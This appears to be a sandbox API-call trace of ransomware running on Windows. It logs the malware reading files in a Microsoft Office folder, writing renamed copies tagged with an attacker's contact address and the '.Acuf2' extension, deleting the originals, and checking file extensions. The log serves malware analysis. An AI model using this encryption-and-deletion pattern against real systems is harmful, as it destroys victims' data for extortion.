	[0265.094] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.094] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0265.252] GetLastError () returned 0x0
	[0265.252] ReadFile (in: hFile=0x28c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x44b68, lpOverlapped=0x0) returned 1
	[0265.780] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x44b70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x44b70, lpOverlapped=0x0) returned 1
	[0265.786] ReadFile (in: hFile=0x28c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.786] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.786] SetEndOfFile (hFile=0x360) returned 1
	[0265.786] CloseHandle (hObject=0x360) returned 1
	[0265.786] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.786] SetEndOfFile (hFile=0x28c) returned 1
	[0265.794] CloseHandle (hObject=0x28c) returned 1
	[0265.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 1
	[0266.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.804] lstrlenW (lpString=".doc") returned 4
	[0266.804] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString=".docx") returned 5
	[0266.804] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1
	[0266.804] lstrlenW (lpString=".pdf") returned 4
	[0266.804] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString=".xls") returned 4
	[0266.804] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0266.804] lstrlenW (lpString=".xlsx") returned 5
	[0266.804] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1
	[0266.804] lstrlenW (lpString=".ppt") returned 4
	[0266.804] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.804] lstrlenW (lpString=".zip") returned 4
	[0266.804] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0266.804] lstrlenW (lpString=".rar") returned 4
	[0266.804] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString=".bz2") returned 4
	[0266.804] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString=".7z") returned 3
	[0266.804] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0266.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.804] lstrlenW (lpString=".dbf") returned 4
	[0266.804] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.804] lstrlenW (lpString=".1cd") returned 4
	[0266.804] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0266.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60
	[0266.804] lstrlenW (lpString=".jpg") returned 4
	[0266.804] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0266.805] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=68488) returned 1
	[0266.805] CloseHandle (hObject=0x338) returned 1
	[0266.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 0x20
	[0266.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0266.805] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.805] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0266.806] GetLastError () returned 0x0
	[0266.806] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x10b88, lpOverlapped=0x0) returned 1
	[0266.814] WriteFile (in: hFile=0x220, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x10b90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x10b90, lpOverlapped=0x0) returned 1
	[0266.815] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.815] WriteFile (in: hFile=0x220, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0266.816] SetEndOfFile (hFile=0x220) returned 1
	[0267.933] CloseHandle (hObject=0x220) returned 1
	[0267.933] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.933] SetEndOfFile (hFile=0x338) returned 1
	[0267.936] CloseHandle (hObject=0x338) returned 1
	[0267.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 1
	[0268.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.036] lstrlenW (lpString=".doc") returned 4
	[0268.036] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0268.036] lstrlenW (lpString=".docx") returned 5
	[0268.036] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1
	[0268.036] lstrlenW (lpString=".pdf") returned 4
	[0268.036] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0268.036] lstrlenW (lpString=".xls") returned 4
	[0268.036] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0268.036] lstrlenW (lpString=".xlsx") returned 5
	[0268.036] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1
	[0268.036] lstrlenW (lpString=".ppt") returned 4
	[0268.036] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0268.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.036] lstrlenW (lpString=".zip") returned 4
	[0268.036] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0268.037] lstrlenW (lpString=".rar") returned 4
	[0268.037] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0268.037] lstrlenW (lpString=".bz2") returned 4
	[0268.037] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0268.037] lstrlenW (lpString=".7z") returned 3
	[0268.037] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0268.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.037] lstrlenW (lpString=".dbf") returned 4
	[0268.037] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0268.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.037] lstrlenW (lpString=".1cd") returned 4
	[0268.037] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0268.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58
	[0268.037] lstrlenW (lpString=".jpg") returned 4
	[0268.037] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0268.038] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=668544) returned 1
	[0268.038] CloseHandle (hObject=0x360) returned 1
	[0268.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll")) returned 0x20
	[0268.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0268.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.038] lstrlenW (lpString=".doc") returned 4
	[0268.038] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0268.038] lstrlenW (lpString=".docx") returned 5
	[0268.039] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0268.039] lstrlenW (lpString=".pdf") returned 4
	[0268.039] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0268.039] lstrlenW (lpString=".xls") returned 4
	[0268.039] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0268.039] lstrlenW (lpString=".xlsx") returned 5
	[0268.039] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0268.039] lstrlenW (lpString=".ppt") returned 4
	[0268.039] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0268.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.039] lstrlenW (lpString=".zip") returned 4
	[0268.039] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0268.039] lstrlenW (lpString=".rar") returned 4
	[0268.039] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0268.039] lstrlenW (lpString=".bz2") returned 4
	[0268.039] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0268.039] lstrlenW (lpString=".7z") returned 3
	[0268.039] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0268.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.039] lstrlenW (lpString=".dbf") returned 4
	[0268.039] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0268.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.039] lstrlenW (lpString=".1cd") returned 4
	[0268.039] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0268.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60
	[0268.039] lstrlenW (lpString=".jpg") returned 4
	[0268.039] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0268.041] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.041] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0268.041] GetLastError () returned 0x0
	[0268.041] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x794, lpOverlapped=0x0) returned 1
	[0268.043] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x7a0, lpOverlapped=0x0) returned 1
	[0268.043] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.044] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.044] SetEndOfFile (hFile=0x218) returned 1
	[0268.044] CloseHandle (hObject=0x218) returned 1
	[0268.044] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.044] SetEndOfFile (hFile=0x360) returned 1
	[0268.046] CloseHandle (hObject=0x360) returned 1
	[0268.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 1
	[0268.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.046] lstrlenW (lpString=".doc") returned 4
	[0268.046] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0268.046] lstrlenW (lpString=".docx") returned 5
	[0268.046] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1
	[0268.046] lstrlenW (lpString=".pdf") returned 4
	[0268.046] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0268.046] lstrlenW (lpString=".xls") returned 4
	[0268.046] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0268.046] lstrlenW (lpString=".xlsx") returned 5
	[0268.046] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1
	[0268.046] lstrlenW (lpString=".ppt") returned 4
	[0268.046] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0268.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.046] lstrlenW (lpString=".zip") returned 4
	[0268.046] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0268.047] lstrlenW (lpString=".rar") returned 4
	[0268.047] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0268.047] lstrlenW (lpString=".bz2") returned 4
	[0268.047] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0268.047] lstrlenW (lpString=".7z") returned 3
	[0268.047] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.047] lstrlenW (lpString=".dbf") returned 4
	[0268.047] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.047] lstrlenW (lpString=".1cd") returned 4
	[0268.047] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60
	[0268.047] lstrlenW (lpString=".jpg") returned 4
	[0268.047] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0268.048] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1826) returned 1
	[0268.048] CloseHandle (hObject=0x360) returned 1
	[0268.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 0x20
	[0268.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0268.048] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.048] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0268.049] GetLastError () returned 0x0
	[0268.049] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x722, lpOverlapped=0x0) returned 1
	[0268.051] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x730, lpOverlapped=0x0) returned 1
	[0268.052] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.052] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.052] SetEndOfFile (hFile=0x218) returned 1
	[0268.052] CloseHandle (hObject=0x218) returned 1
	[0268.052] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.052] SetEndOfFile (hFile=0x360) returned 1
	[0268.054] CloseHandle (hObject=0x360) returned 1
	[0268.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 1
	[0268.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.054] lstrlenW (lpString=".doc") returned 4
	[0268.054] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0268.054] lstrlenW (lpString=".docx") returned 5
	[0268.054] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1
	[0268.054] lstrlenW (lpString=".pdf") returned 4
	[0268.054] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0268.054] lstrlenW (lpString=".xls") returned 4
	[0268.054] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0268.054] lstrlenW (lpString=".xlsx") returned 5
	[0268.054] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1
	[0268.054] lstrlenW (lpString=".ppt") returned 4
	[0268.054] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0268.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.054] lstrlenW (lpString=".zip") returned 4
	[0268.055] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0268.055] lstrlenW (lpString=".rar") returned 4
	[0268.055] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0268.055] lstrlenW (lpString=".bz2") returned 4
	[0268.055] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0268.055] lstrlenW (lpString=".7z") returned 3
	[0268.055] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0268.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.055] lstrlenW (lpString=".dbf") returned 4
	[0268.055] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0268.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.055] lstrlenW (lpString=".1cd") returned 4
	[0268.055] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0268.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60
	[0268.055] lstrlenW (lpString=".jpg") returned 4
	[0268.055] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0268.056] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=4932186) returned 1
	[0268.056] CloseHandle (hObject=0x360) returned 1
	[0268.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0x20
	[0268.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0268.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.056] lstrlenW (lpString=".doc") returned 4
	[0268.056] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0268.056] lstrlenW (lpString=".docx") returned 5
	[0268.056] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0268.057] lstrlenW (lpString=".pdf") returned 4
	[0268.057] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0268.057] lstrlenW (lpString=".xls") returned 4
	[0268.057] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0268.057] lstrlenW (lpString=".xlsx") returned 5
	[0268.057] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
